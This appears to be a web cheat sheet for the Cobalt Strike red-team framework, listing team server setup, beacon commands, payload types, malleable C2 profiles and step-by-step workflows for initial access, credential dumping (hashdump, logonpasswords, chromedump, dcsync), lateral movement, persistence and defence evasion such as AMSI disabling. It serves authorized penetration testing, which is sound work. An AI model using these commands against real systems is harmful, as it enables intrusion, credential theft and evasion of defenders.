Cobalt Strike Cheat Sheet

Overview

Cobalt Strike is a commercial penetration testing and red team operations platform designed to emulate advanced threat actors. It provides a post-exploitation framework that allows operators to deploy beacons (agents) on compromised systems, establish command and control (C2) channels, and perform various offensive security operations.

⚠️ Warning: Cobalt Strike is a commercial security testing tool that should only be used in environments where you have explicit permission to do so.

Core Components

Team Server

Central command and control server
Runs on Linux
Manages beacons and listeners
Provides collaboration for team operations

Client

Java-based GUI application
Connects to Team Server
Interface for operators to interact with beacons
Visualizes target networks

Beacon

Primary payload for post-exploitation
Establishes communication with Team Server
Provides various capabilities for offensive operations
Can operate in different communication modes

Setup and Configuration

Team Server Setup

bash

# Start the Team Server
./teamserver <ip_address> <password> [malleable_c2_profile]

# Example
./teamserver 192.168.1.100 P@ssw0rd! c2-profiles/normal/amazon.profile

Client Setup

1. Launch the Cobalt Strike client
2. Connect > New Connection
3. Enter Team Server details:
   - Host: <team_server_ip>
   - Port: 50050 (default)
   - User: <username>
   - Password: <password>
4. Verify SSL certificate fingerprint

Listeners

Creating Listeners

1. Cobalt Strike > Listeners
2. Click "Add"
3. Configure listener settings:
   - Name: <listener_name>
   - Payload: <beacon_type>
   - Host: <callback_domain_or_ip>
   - Port: <port_number>
   - Profile: <malleable_c2_profile>
4. Click "Save"

Listener Types

Type	Description
HTTP	Uses HTTP for C2 communication
HTTPS	Uses HTTPS for C2 communication
DNS	Uses DNS queries for stealthy C2
SMB	Uses named pipes for peer-to-peer C2
TCP	Uses direct TCP connections
Foreign	Integrates with other C2 frameworks

Payload Generation

Beacon Payload Types

Attacks > Packages > <payload_type>

Payload Type	Description
Windows Executable	Standard .exe file
Windows Service EXE	Service executable
DLL	Dynamic Link Library
PowerShell	PowerShell one-liner
Python	Python script
Office Macro	Macro for Office documents
Shellcode	Raw shellcode

Artifact Kit

Attacks > Packages > Windows Executable (S)

Generates custom payloads with evasion techniques
Modifies signatures to avoid detection
Customizable templates

Beacon Commands

Session Management

Command	Description
`help`	Display help information
`sleep [seconds] [jitter%]`	Set sleep time and jitter
`checkin`	Force immediate check-in
`exit`	Terminate the beacon session
`clear`	Clear the beacon's task queue
`jobs`	List running jobs
`jobkill [JID]`	Kill a running job
`mode dns`	Switch to DNS mode
`mode dns-txt`	Switch to DNS-TXT mode
`mode dns6`	Switch to DNS6 mode
`mode http`	Switch to HTTP mode
`mode smb`	Switch to SMB mode

Information Gathering

Command	Description
`hostname`	Get the hostname
`ipconfig`	Display network configuration
`netstat`	Display network connections
`ps`	List running processes
`tasklist`	Alternative to ps
`getuid`	Get current user ID
`whoami`	Get detailed user information
`pwd`	Print working directory
`drives`	List available drives
`dir [directory]`	List files in directory
`ls [directory]`	Alternative to dir
`net [command]`	Execute net command
`reg query [path]`	Query registry
`sysinfo`	Get system information

File Operations

Command	Description
`cd [directory]`	Change directory
`cp [source] [destination]`	Copy a file
`mkdir [directory]`	Create a directory
`mv [source] [destination]`	Move or rename a file
`rm [file]`	Delete a file
`rmdir [directory]`	Delete a directory
`cat [file]`	Display file contents
`download [file]`	Download a file from target
`upload [file]`	Upload a file to target
`timestomp [file] [template]`	Modify file timestamps
`ls-acl [file]`	List file permissions

Process Operations

Command	Description
`execute [program]`	Execute without capturing output
`shell [command]`	Execute and capture output
`run [program]`	Execute a program
`runas [user] [password] [program]`	Execute as another user
`pth [user] [domain] [hash]`	Pass-the-hash to create a token
`steal_token [pid]`	Steal token from process
`make_token [domain] [user] [password]`	Create a token
`rev2self`	Revert to original token
`getprivs`	Enable system privileges
`getsystem`	Attempt to get SYSTEM privileges
`execute-assembly [file.exe]`	Execute .NET assembly in memory
`powerpick [command]`	Execute PowerShell without powershell.exe
`powershell [command]`	Execute PowerShell command
`psinject [pid] [command]`	Execute PowerShell in specific process
`shinject [pid] [arch] [file.bin]`	Inject shellcode into process
`dllinject [pid] [file.dll]`	Inject DLL into process
`dllload [file.dll]`	Load DLL in beacon process

Lateral Movement

Command	Description
`psexec [target] [listener]`	Use PsExec to deploy beacon
`psexec_psh [target] [listener]`	Use PsExec with PowerShell
`winrm [target] [listener]`	Use WinRM to deploy beacon
`wmi [target] [listener]`	Use WMI to deploy beacon
`ssh [target:port] [user] [pass] [listener]`	Use SSH to deploy beacon
`ssh-key [target:port] [user] [key] [listener]`	Use SSH with key authentication
`dcsync [domain] [user]`	Use DCSync to extract password hashes
`jump [method] [target] [listener]`	Jump to target using specified method
`remote-exec [method] [target] [command]`	Execute command on remote system

Pivoting

Command	Description
`rportfwd [bind port] [forward host] [forward port]`	Set up reverse port forward
`rportfwd stop [bind port]`	Stop reverse port forward
`socks [port]`	Start SOCKS proxy server
`socks stop`	Stop SOCKS proxy server
`spunnel [host] [port]`	Create encrypted tunnel over SMB
`spunnel stop`	Stop encrypted tunnel
`covertvpn [interface] [IP/Mask]`	Deploy Covert VPN interface
`covertvpn stop`	Stop Covert VPN
`pivot [host] [port]`	List pivot listeners
`pivotlistener [host] [port]`	Create pivot listener

Post-Exploitation

Command	Description
`mimikatz [command]`	Execute Mimikatz command
`hashdump`	Dump password hashes
`logonpasswords`	Dump credentials from memory
`keylogger [pid]`	Start keylogger
`screenshot [pid]`	Take screenshot
`screenwatch [pid]`	Watch target's screen
`printscreen`	Take screenshot using PrintScreen
`reg query [path]`	Query registry
`powerview [command]`	Execute PowerView command
`portscan [targets] [ports] [discovery method]`	Scan for open ports
`browserpivot [pid] [port]`	Hijack authenticated web sessions
`chromedump`	Dump Chrome cookies and login data
`persist [method] [listener]`	Set up persistence
`elevate [exploit] [listener]`	Attempt privilege escalation

Malleable C2 Profiles

Basic Structure

# Global options
set sleeptime "5000";
set jitter "10";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";

# HTTP staging
http-stager {
    set uri "/jquery-3.3.1.min.js";
    client {
        header "Accept" "text/javascript, application/javascript, */*";
    }
    server {
        header "Content-Type" "application/javascript";
    }
}

# HTTP client
http-get {
    set uri "/api/v1/data";
    client {
        header "Accept" "application/json";
        metadata {
            base64;
            prepend "session=";
            append ";";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/json";
        output {
            json {
                "status" "success";
                "data" "";
            }
            prepend "{\"data\":\"";
            append "\"}";
            base64;
        }
    }
}

Testing Profiles

bash

# Verify profile syntax
./c2lint c2-profiles/normal/amazon.profile

# Start Team Server with profile
./teamserver 192.168.1.100 P@ssw0rd! c2-profiles/normal/amazon.profile

Aggressor Scripts

Basic Script Structure

# Event handlers
on beacon_initial {
    println("New beacon: " . $1);
}

# Aliases (custom commands)
alias hello {
    blog($1, "Hello, World!");
}

# Menus
popup beacon_bottom {
    item "Custom Command" {
        blog($1, "Executing custom command...");
        bshell($1, "whoami");
    }
}

# Functions
sub get_system_info {
    bshell($1, "systeminfo");
}

Common Script Functions

Function	Description
`blog($1, "message")`	Write to beacon console
`bshell($1, "command")`	Execute shell command
`bpowershell($1, "command")`	Execute PowerShell command
`bpowerpick($1, "command")`	Execute PowerShell without powershell.exe
`bexecute_assembly($1, "/path/to/file.exe")`	Execute .NET assembly
`bdllspawn($1, "/path/to/file.dll")`	Inject Reflective DLL
`bpsexec($1, "target", "listener")`	Execute PsExec lateral movement
`bwmi($1, "target", "listener")`	Execute WMI lateral movement
`bwinrm($1, "target", "listener")`	Execute WinRM lateral movement

OPSEC Considerations

Process Injection

# Set parent process for new processes
ppid [pid]

# Set process to spawn for post-ex jobs
spawnto x64 %windir%\\sysnative\\rundll32.exe
spawnto x86 %windir%\\syswow64\\rundll32.exe

# Mask command-line arguments
argue [command] [fake arguments]

# Block non-Microsoft DLLs
blockdlls start
blockdlls stop

Evasion Techniques

# Obfuscate beacon in memory
sleep_mask [seconds] [jitter%]

# Configure staging process
stage {
    set obfuscate "true";
    set stomppe "true";
    set cleanup "true";
}

# Disable AMSI
amsi_disable

# Use smarter process injection
smartinject

Common Workflows

Initial Access

1. Create a listener (Cobalt Strike > Listeners)
2. Generate a payload (Attacks > Packages)
3. Deliver payload to target
4. Wait for beacon check-in

Privilege Escalation

1. Check current privileges: getuid
2. Attempt to get SYSTEM: getsystem
3. If unsuccessful, try specific exploits: elevate [exploit] [listener]
4. Verify new privileges: getuid

Credential Harvesting

1. Dump hashes: hashdump
2. Dump credentials from memory: logonpasswords
3. Use Mimikatz for advanced options: mimikatz [command]
4. Extract domain hashes (if DC): dcsync [domain] [user]

Lateral Movement

1. Identify targets: net view
2. Choose lateral movement technique:
   - psexec [target] [listener]
   - winrm [target] [listener]
   - wmi [target] [listener]
3. Verify new beacon check-in

Persistence

1. Choose persistence method:
   - persist [method] [listener]
   - schtasks [options]
   - service [options]
   - registry [options]
2. Verify persistence works
3. Document persistence mechanisms for cleanup

Cobalt Strike Cheat Sheet ​

Overview ​

Core Components ​

Team Server ​

Client ​

Beacon ​

Setup and Configuration ​

Team Server Setup ​

Client Setup ​

Listeners ​

Creating Listeners ​

Listener Types ​

Payload Generation ​

Beacon Payload Types ​

Artifact Kit ​

Beacon Commands ​

Session Management ​

Information Gathering ​

File Operations ​

Process Operations ​

Lateral Movement ​

Pivoting ​

Post-Exploitation ​

Malleable C2 Profiles ​

Basic Structure ​

Testing Profiles ​

Aggressor Scripts ​

Basic Script Structure ​

Common Script Functions ​

OPSEC Considerations ​

Process Injection ​

Evasion Techniques ​

Common Workflows ​

Initial Access ​

Privilege Escalation ​

Credential Harvesting ​

Lateral Movement ​

Persistence ​

Resources ​

Cobalt Strike Cheat Sheet

Overview

Core Components

Team Server

Client

Beacon

Setup and Configuration

Team Server Setup

Client Setup

Listeners

Creating Listeners

Listener Types

Payload Generation

Beacon Payload Types

Artifact Kit

Beacon Commands

Session Management

Information Gathering

File Operations

Process Operations

Lateral Movement

Pivoting

Post-Exploitation

Malleable C2 Profiles

Basic Structure

Testing Profiles

Aggressor Scripts

Basic Script Structure

Common Script Functions

OPSEC Considerations

Process Injection

Evasion Techniques

Common Workflows

Initial Access

Privilege Escalation

Credential Harvesting

Lateral Movement

Persistence

Resources